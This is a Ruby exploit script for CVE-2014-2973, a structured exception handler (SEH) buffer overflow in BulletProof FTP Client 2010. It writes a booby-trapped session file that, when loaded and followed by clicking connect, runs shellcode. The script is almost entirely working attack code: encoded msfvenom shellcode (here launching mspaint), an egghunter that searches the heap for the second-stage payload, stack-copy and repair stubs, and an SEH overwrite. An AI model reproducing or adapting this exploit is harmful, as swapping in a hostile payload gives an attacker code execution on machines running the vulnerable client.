BulletProof FTP Client 2010 - Buffer Overflow (SEH) Exploit v2

bpftpclient-seh-exploit.rb

#!/usr/bin/env ruby
# Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH) Exploit
# Date: Dec 03 2014
# Vulnerability Discovery: Gabor Seljan
# Exploit Author: Muhamad Fadzil Ramli <mind1355[at]gmail.com>
# Software Link: http://www.bpftp.com/
# Version: 2010.75.0.76
# Tested on: Microsoft Windows XP SP3 EN [Version 5.1.2600]
# CVE: CVE-2014-2973
# Notes: bypass buffer size limitation for bigger payload. Allocate 2nd
# shellcode in heap and copy back to stack. This exploit use egghunter
# to locate 2nd shellcode in heap and copy to stack. Load the exploit file
# and click connect to trigger the exploit.

# Offset
seh = 93
filename = "xsession.bps"
buff = "A" * 500

# ./msfvenom -p windows/exec CMD=mspaint -b '\x00\x0a\x0d\x1a' -e x86/shikata_ga_nai -f ruby
heap_sc =
"w00tw00t" +
"\xda\xc4\xbf\xd7\xec\x92\xb5\xd9\x74\x24\xf4\x5d\x33\xc9" +
"\xb1\x32\x83\xed\xfc\x31\x7d\x16\x03\x7d\x16\xe2\x22\x10" +
"\x7a\x3c\xcc\xe9\x7b\x5f\x45\x0c\x4a\x4d\x31\x44\xff\x41" +
"\x32\x08\x0c\x29\x16\xb9\x87\x5f\xbe\xce\x20\xd5\x98\xe1" +
"\xb1\xdb\x24\xad\x72\x7d\xd8\xac\xa6\x5d\xe1\x7e\xbb\x9c" +
"\x26\x62\x34\xcc\xff\xe8\xe7\xe1\x74\xac\x3b\x03\x5a\xba" +
"\x04\x7b\xdf\x7d\xf0\x31\xde\xad\xa9\x4e\xa8\x55\xc1\x09" +
"\x08\x67\x06\x4a\x74\x2e\x23\xb9\x0f\xb1\xe5\xf3\xf0\x83" +
"\xc9\x58\xcf\x2b\xc4\xa1\x08\x8b\x37\xd4\x62\xef\xca\xef" +
"\xb1\x8d\x10\x65\x27\x35\xd2\xdd\x83\xc7\x37\xbb\x40\xcb" +
"\xfc\xcf\x0e\xc8\x03\x03\x25\xf4\x88\xa2\xe9\x7c\xca\x80" +
"\x2d\x24\x88\xa9\x74\x80\x7f\xd5\x66\x6c\xdf\x73\xed\x9f" +
"\x34\x05\xac\xf5\xcb\x87\xcb\xb3\xcc\x97\xd3\x93\xa4\xa6" +
"\x58\x7c\xb2\x36\x8b\x38\x4c\x7d\x91\x69\xc5\xd8\x40\x28" +
"\x88\xda\xbf\x6f\xb5\x58\x35\x10\x42\x40\x3c\x15\x0e\xc6" +
"\xad\x67\x1f\xa3\xd1\xd4\x20\xe6\xbc\xa9\xae\x68\x57\x20" +
"\x3b\x6b"

# badchar '\x00\x0a\x0d\x1a\xb1\x83\xb2'
# find 1st heap address
heap_addr =
"\x50" + # push eax
"\xbb\xaf\x77\x77\x77" + # mov ebx,777777afh
"\x81\xeb\x7f\x77\x77\x77" + # sub ebx,7777777f = 0x30 (TEB)
"\x64\x8b\x1b" + # mov ebx,dword ptr fs:[ebx]
"\xb9\x0f\x78\x77\x77" + # mov ebx,7777780Fh
"\x81\xe9\x7f\x77\x77\x77" + # sub ecx,7777777fh = 0x90 (PEB)
"\x8b\x1c\x0b" + # mov ebx,dword ptr [ebx+ecx]
"\x8b\x1b" #  mov ebx,dword ptr [ebx]

egghunter =
"\x8b\xd3" + # mov edx,ebx
"\xeb\x05" + # jmp $+0x5 (#2)
"\x66\x81\xca\xff\x0f" + # or dx, 0xfff (#1)
"\x42" + # inc edx (#2)
"\x52" + # push edx
"\x6a\x02" + # push 2
"\x58" + # pop eax
"\xcd\x2e" + # int 0x2e
"\x3c\x05" + # cmp al,5
"\x5a" + # pop edx
"\x74\xef" + # je $-0xf (#1)
"\xb8\x77\x30\x30\x74" + # mov eax,0x74303077 (our tag 'w00t')
"\x8b\xfa" + # mov edi,edx
"\xaf" + # scasd eax, dword ptr es:[edi]
"\x75\xea" + # jne $-0x14 (#2)
"\xaf" + # scasd eax, dword ptr es:[edi]
"\x75\xe7" + # jne $-0x17 (#2)

copy_sc =
"\x58" + # pop eax
"\x05\x54\xf2\xff\xff" + # add eax,-3500
"\x89\xfe" + # mov esi,edi
"\x89\xc7" + # mov edi,eax
"\xb9\x61\x78\x77\x77" + # mov ecx,0x77777861
"\x81\xe9\x7f\x77\x77\x77" + # sub ecx,0x7777777f
"\xf2\xa4" + # rep movsb
"\xff\xe0" # jmp eax

stack_sc = heap_addr + egghunter + copy_sc

# GetPC
buff[1,2] = "\xd9\xeb"                      # fldpi
buff[3,5] = "\x9b\xd9\x74\x24\xf4"          # fstenv [esp-0xc]
buff[8,1] = "\x58" # pop eax                # pop esp into eax

# FixRet stub 
buff[9,7] = "\xc7\x40\x44\x45\x45\x45\x45"  # (1)
buff[16,7] = "\xc7\x40\x58\x45\x45\x45\x45" # (2) place holder for jmp
buff[23,7] = "\xc7\x40\x5c\x45\x45\x45\x45" # (3) place holder for ppr

buff[30,stack_sc.size] = stack_sc

# repair stack
buff[12,4] = buff[seh-24,4]                 # replace with original sc (1)
buff[19,4] = buff[seh-4,4]                  # replace with original sc (2)
buff[26,4] = buff[seh,4]                    # replace with original sc (3)

buff[seh-4,4] = "\xeb\xa6\x41\x41" # jmp $-166
buff[seh,4] = [0x72d11f39].pack('V').force_encoding("utf-8") # ppr : msacm32.drv only non-safeseh without null

bps =
"\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20\x42\x75" +
"\x6C\x6C\x65\x74\x50\x72\x6F\x6F\x66\x20\x46\x54" +
"\x50\x20\x43\x6C\x69\x65\x6E\x74\x20\x53\x65\x73" +
"\x73\x69\x6F\x6E\x2D\x46\x69\x6C\x65\x20\x61\x6E" +
"\x64\x20\x73\x68\x6F\x75\x6C\x64\x20\x6E\x6F\x74" +
"\x20\x62\x65\x20\x6D\x6F\x64\x69\x66\x69\x65\x64" +
"\x20\x64\x69\x72\x65\x63\x74\x6C\x79\x2E\x0D\x0A" +
buff + "\x0D\x0A\x61\x6E" +
"\x6F\x6E\x79\x6D\x6F\x75\x73\x0D\x0A" + heap_sc + "\x62\x70\x69" +
"\x63\x70\x6C\x6E\x6B\x69\x69\x62\x6D\x66\x65\x0D" +
"\x0A"

File.open(filename,"wb") do |fp|
  fp.write(bps)
  puts "Exploit file: #{filename} size: #{bps.size}"
  fp.close
end